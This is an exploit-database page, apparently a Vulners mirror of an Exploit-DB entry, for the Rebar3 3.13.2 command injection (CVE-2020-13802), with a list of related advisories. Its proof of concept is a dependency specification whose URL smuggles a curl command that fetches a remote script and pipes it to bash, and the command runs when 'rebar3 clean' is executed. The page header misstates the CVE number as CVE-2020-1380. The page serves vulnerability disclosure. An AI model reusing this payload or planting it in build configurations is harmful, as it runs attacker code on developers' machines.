Lucene search
K

Rebar3 3.13.2 - Command Injection

🗓️ 14 Jun 2024 00:00:00Reported by ub3rsickType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 417 Views

Rebar3 3.13.2 Command Injection CVE-2020-1380

Related
Code
ReporterTitlePublishedViews
Family
Check Point Advisories
Rebar3 Command Injection (CVE-2020-13802)
21 Nov 202000:00
checkpoint_advisories
CVE
CVE-2020-13802
2 Sep 202016:30
cve
Cvelist
CVE-2020-13802
2 Sep 202016:30
cvelist
Debian CVE
CVE-2020-13802
2 Sep 202016:30
debiancve
EUVD
EUVD-2020-6017
7 Oct 202500:30
euvd
Tenable Nessus
GLSA-202405-30 : Rebar3: Command Injection
12 May 202400:00
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2020-13802
30 Aug 202500:00
nessus
Gentoo Linux
Rebar3: Command Injection
12 May 202400:00
gentoo
Mageia
Updated erlang-rebar3 package fixes security vulnerability
25 Dec 202021:45
mageia
NVD
CVE-2020-13802
2 Sep 202017:15
nvd
Rows per page
# Exploit Title: Rebar3 3.13.2 Command Injection
# Date: 2020-06-03
# Exploit Author: Alexey Pronin
# Vendor Homepage: https://rebar3.org
# Software Link: https://github.com/erlang/rebar3
# Versions affected: 3.0.0-beta.3 - 3.13.2
# Tested on: Linux
# CVE: CVE-2020-13802

1. Description:
----------------------

Rebar3 versions 3.0.0-beta.3 to 3.13.2 are vulnerable to OS command injection via URL parameter of dependency specification.

2. Proof of Concept:
----------------------

* Add dependency with any of the following specification:

    {
      'dephelper', ".*", { 
        hg, "https://github.com/vulnbe/poc-rebar3-helper.git?repo=main&threadId=19:[email protected]&ctx=channel|curl\t-fsSL\thttps://gist.githubusercontent.com/vulnbe/6e5ec8fae3bdbee8e5f11f15c1462e48/raw/94616f0ee52935fda458c889d6f686958c79a2c8/poc.sh|bash\t-|git\tclone\thttps://github.com/vulnbe/poc-rebar3-helper.git", 
      "dephelper"}
    }

    or 

    {
      'poc_rebar3', ".*", { 
        git, "https://github.com/vulnbe/poc-rebar3.git" 
      }
    }

* Execute command: rebar3 clean

References
----------------------
* [Rebar3 vulnerability analysis](https://vuln.be/post/rebar3-command-injection/)
* [POC](https://github.com/vulnbe/poc-rebar3.git)
* [Vulnerability remediation PR](https://github.com/erlang/rebar3/pull/2302)
* [CVE-2020-13802](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13802)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jun 2024 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
CVSS 210
EPSS0.01614
417